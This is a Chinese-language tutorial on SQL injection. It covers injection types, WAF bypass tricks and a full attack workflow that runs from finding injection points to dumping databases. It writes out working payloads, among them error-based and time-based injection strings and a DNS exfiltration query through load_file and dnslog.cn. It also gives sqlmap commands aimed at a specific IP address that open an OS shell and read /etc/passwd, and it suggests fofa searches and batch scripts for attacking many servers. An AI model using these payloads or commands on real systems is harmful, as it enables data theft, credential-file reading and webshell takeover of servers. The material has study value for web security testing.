SQL注入技术
漏洞成因
SQL注入漏洞的原因是由于程序员没有严格过滤用户输入,导致用户输入语句与数据库语句拼接成了一个新的合法语句所产生的漏洞。
SQL注入应用技术
SQL注入可以用来读取文件、写入文件、执行系统命令。
SQL注入的不同类型和常用函数
有回显的注入
有回显的漏洞直接走一遍标准流程就行了
报错注入
有的时候页面会显示sql报错,在这种情况下,我们可以通过人为的报错将不可见的信息转换在错误信息显示出来。
updatexml报错注入
uname=Dumb&passwd=0' or updatexml(0,concat(0x7e,database(),0x7e),0) -- qwe
extractvalue
这种方式一次只能看32位长度,如果看超长的东西需要使用函数来截取
&passwd=0' and extractvalue("anything",concat("~",(select database()))) -- qwe
宽字节注入
当数据库编码为GBK或者GB2312等宽字节编码,可以在注入点增加%df来尝试进行宽字节注入。
DNS注入
通过dns协议将盲注内容转化为可见的内容,使用load_file
函数。
select load_file(concat("//",(select database()),"/abc")
这个需要先去注册个dns服务器:dnslog.cn
布尔盲注
布尔注入主要借助表达式来进行,如果正确则返回结果,错误则不返回结果。
时间盲注
时间盲注主要借用sleep或者banchmark来进行。
二次注入
二次注入主要是因为当服务器对我们的sql语句进行过滤的不彻底,导致插入数据库的是未经处理的代码。而当数据库中取出来,我们就可以利用其拼接语句。
堆叠注入
堆叠注入就是一次性执行多条SQL语句。威力强大,但并不是每个网站都适用,需要满足服务端允许一次性执行多条指令的条件。
实例
select 1;select 2; #当语句1执行完就执行语句2,所以威力强大。
常用函数总结
函数名 | 说明 |
---|---|
substr | 字符串截取函数,使用方法substr(user(),1,1) 截取user返回值第一位开始偏移位置截取一位 |
left | 字符串截取函数,left(user(),1)截取一位,但是如果截取第二位的时候需要把第一位的结果放在前面 |
right | 与上面相同 |
ascii | 字符串转换函数,作用是将字符串转换为ascii码 |
hex | 字符串转十六进制函数 |
unhex | 十六进制转字符串函数 |
if | 判断函数 |
sleep | 睡眠函数 |
benchmark | 重复执行某个表达式的函数 |
md5 | 计算md5的函数 |
length | 获取字符串的长度 |
SQL注入绕WAF的方法
WAF:Web应用防护系统
检测机制讲解
WAF一般有软件防火墙、硬件防火墙、应用防火墙,但是所有防火墙都基于正则表达式来进行检测。
绕过有一个思路:一个函数被禁用了找其他函数,一种表达方式被禁用了找其他表达方式。
常见绕过手法
- 用其他函数、写法代替
- 大小写绕过:有些老WAF大小写就能绕过
- 替换绕过:有些过滤规则需要强行删除检测到的代码,然后执行
- 编码绕过:网站因为功能需要有编解码,然后WAF不认识编码的值就执行了。
- 一般服务器在传输的过程中会URL编码,我们可以进行一次url全编码然后再执行注入。
- 注释绕过:WAF可能会认为注释后的东西是安全的
id=1/*!and*/1=1
- 白名单绕过:本地访问可能不拦截、管理员权限
- 垃圾数据填充:写一大堆数据,然后传参,WAF只检测一部分
- 十六进制绕过:有时候通过十六进制进行过滤,我们可以替换个别字母
- 相等过滤:MYSQL有两种utf8编码,我们可以通过异种字符来进行绕过。
SQL注入渗透流程
挖掘漏洞
常见的注入点位置可能是Head头、Cookies、以及上传服务器的值。
需要结合常见的绕过方法绕过一些常规的防御
- 可以使用一些漏洞扫描器对漏洞进行扫描
- 可以手动注入
- 可以根据fofa搜索指纹扩大攻击面
SQL注入步骤
寻找注入点->判断字段长度->脱库->进一步获取服务器信息或者写入木马
# 当进行到写木马的时候,可能会因为一些原因导致木马写入失败,或者文件读取失败。
# * 可能是配置问题或者权限问题
寻找注入点
寻找注入点的关键在于如何拼接现有的SQL语句,我们可以通过拼接合适的语句来寻找注入点。以下是一些常用的方式:
- 有回显的判断
or 1=1
or -1=-1
or ("")=("")
or (""or"")=(""or"")
# 无论上面的内容怎么变化,主要的就是右边是一个等式
- 睡眠判断
or sleep(10)
# 当睡眠函数被禁用了你也可以使用benchmark函数来进行判断是否存在注入点
当然,拼接完成发现注入点后你也可以把后续操作交给SQLMAP。有的时候SQLMAP
可能并不好用,需要你去编写绕过脚本。
- 数字计算判断
有的时候我们可能需要借助数字来进行判断
注入点位置
- GET参数
- POST参数
- User-Agent参数
- Cookies参数
拼接注入点
目前为止常见的各种形式:
') or sleep(10) -- qwe
') or sleep(10) #
') or sleep(10) or ('
判断字段长度
- 好像这个方法只能用来测试where后面的语句,如果在过程中插入需要利用盲注或者报错注入
判断字段长度可以使用order by
来进行判断,下面是一个实际例子:
passwd=123&uname=123' or 1=1 order by 1#
脱库
到了现在,我们就可以进行脱库操作了。一般脱库首先要知道我们当前数据库名字,我们可以使用database()
来查看当前数据库名,然后再去关键的表中去查找数据库下的表单和字段。虽然再去根据字段来得到我们想要的数据,可以说是脱库。
查表
select TABLE_NAME from information_schema.tables where TABLE_SCHEMA="目标库";
查字段
select column_name from information_schema.colums where TABLE_NAME="目标表";
查内容
这个就不用说了,知道了字段直接查就好
[!]写入木马读取文件
读写文件函数调用限制
因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数secure_file_priv
的影响
- 当这个值为一个文件夹时只能够向那个文件夹写入读取东西
- 当值为None的时候,不可以读写文件
- 当值为空时可以向任何文件夹读写文件
这里要介绍写入木马和读取文件的两种方式 - 手动
select "内容" into outfile "文件名和路径" # 这是写出数据
select "内容" into dumpfile "文件名和路径" # 这是写出数据不过和outfile的区别是dumpfile函数只能导出一行
- 自动
sqlmap -u http://106.14.75.106:81/Less-1/?id=1 --os-shell #写出shell
sqlmap -u http://106.14.75.106:81/Less-1/?id=1 --file-read="/etc/passwd" # 获取服务器上的/etc/passwd文件
利用漏洞
当发现漏洞以后可以构建批量攻击脚本,使用批量攻击脚本可以对多台服务器进行攻击操作。
自动化SQL注入神器——SQLMAP
将发现的漏洞使用sqlmap进行测试,当需要进行操作的时候SQLMAP可以更加迅速的进行操作。
SQLMAP脚本编写
[必读]关于一些关键字的特性
在真实的渗透测试环境中我们会发现很多时候拼写的关键字可能不起作用,在这种情况下可能是MYSQL环境或者语句拼接有问题。这个模块会总结一些MYSQL需要注意的点。
union
的作用是拼接两个select
语句,如果union
之前是order by
则不可以进行拼接。但是如果order by
语句被括号括起来了,就可以进行拼接。updatexml
的原理是updatexml
和concat
这两个函数有冲突。